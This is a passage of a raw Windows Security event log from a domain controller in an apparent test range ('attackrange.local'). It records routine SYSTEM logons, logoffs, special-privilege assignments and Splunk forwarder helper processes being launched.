"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:38:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255828 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36C73A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:38:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255827 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x36C73A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64792 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:38:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255826 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36C73A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:39:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255829 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb5c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:39:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255830 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x340 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:39:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255832 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:39:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255831 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:39:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255834 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x85c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:39:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255833 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:39:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255835 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:39:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255838 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36FC94 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:39:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255837 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x36FC94 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64805 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:39:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255836 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36FC94 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:40:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255839 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:40:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255841 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x240 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:40:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255840 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:40:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255842 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:40:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255844 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:40:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255843 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:40:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255845 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:40:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255848 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3731EA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:40:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255847 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3731EA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64818 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which 